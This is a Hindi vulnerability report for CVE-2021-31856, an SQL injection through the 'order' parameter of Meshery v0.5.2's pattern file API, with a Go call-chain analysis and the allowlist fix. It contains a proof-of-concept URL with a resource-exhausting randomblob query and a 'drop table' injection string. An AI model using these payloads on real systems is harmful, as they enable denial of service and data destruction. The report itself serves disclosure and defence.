
CVE-2021-31856 की विस्तृत रिपोर्ट PoC और कोड विश्लेषण के साथ, जो Meshery के पैटर्न फ़ाइल API में SQL इंजेक्शन भेद्यता है, जो अनप्रमाणित डेटा निष्कर्षण को सक्षम बनाती है।
| item | details | note |
|---|---|---|
| project | https://github.com/layer5io/meshery | |
| date announced | 2021-04-28 | |
| CVE-ID | CVE-2021-31856 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856 |
| EDB-ID | \ | |
| Vulnerable Version | v0.5.2 | \ |
| Patched Version | v0.5.3 | https://github.com/layer5io/meshery/pull/2745 |
| CVSS | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | |
| Author | https://github.com/ssst0n3 |
meshery/models/meshery_pattern_persister.go में GetMesheryPatterns() फ़ंक्शन में /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0 order पैरामीटर के माध्यम से SQL इंजेक्शन भेद्यता है।
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0
आपका ब्राउज़र HTML5 वीडियो का समर्थन नहीं करता। इसके बजाय वीडियो का लिंक देखें।
फ़ंक्शन GetMesheryPatterns में order पैरामीटर string का एक उदाहरण है। gorm का उपयोग करते समय इसे सीधे क्वेरी स्टेटमेंट में जोड़ दिया जाता है, और SQL क्वेरी स्टेटमेंट Find() द्वारा निष्पादित की जाती है।
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
यदि order पैरामीटर बिना किसी फ़िल्टरिंग के उपयोगकर्ता के इनपुट से आता है, तो SQL इंजेक्शन भेद्यता उत्पन्न होती है।
कॉल प्रक्रिया का अनुसरण करने पर, हम पाते हैं कि "order" पैरामीटर सीधे क्वेरी से आता है।
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140
func (h *Handler) GetMesheryPatternsHandler(
rw http.ResponseWriter,
r *http.Request,
prefObj *models.Preference,
user *models.User,
provider models.Provider,
) {
q := r.URL.Query()
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
if err != nil {
http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
return
}
rw.Header().Set("Content-Type", "application/json")
fmt.Fprint(rw, string(resp))
}
यदि हम डीबग करते हैं, तो हम पाते हैं कि क्वेरी स्टेटमेंट है:
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>
यदि हम order=id;drop table meshery_patterns रखते हैं, तो स्टेटमेंट बन जाएगा:
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns
और टेबल डिलीट हो जाएगी।
पूरी कॉल श्रृंखला निम्नलिखित है:
https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127
gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
Methods("POST", "GET")
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93
func (h *Handler) PatternFileRequestHandler(
...
h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}
https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149
func (h *Handler) GetMesheryPatternsHandler(
...
resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..
https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}
https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
if order == "" {
order = "updated_at desc"
}
...
query := mpp.DB.Order(order)
...
Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
...
}
order पैरामीटर के लिए एक अनुमत-सूची (allowlist) सेट करें, बजाय उपयोगकर्ता के इनपुट से पैरामीटर को बिना किसी फ़िल्टरिंग के उपयोग करने के।
https://github.com/layer5io/meshery/pull/2745
आप gorm के दस्तावेज़ से कुछ संदर्भ प्राप्त कर सकते हैं: https://gorm.io/docs/security.html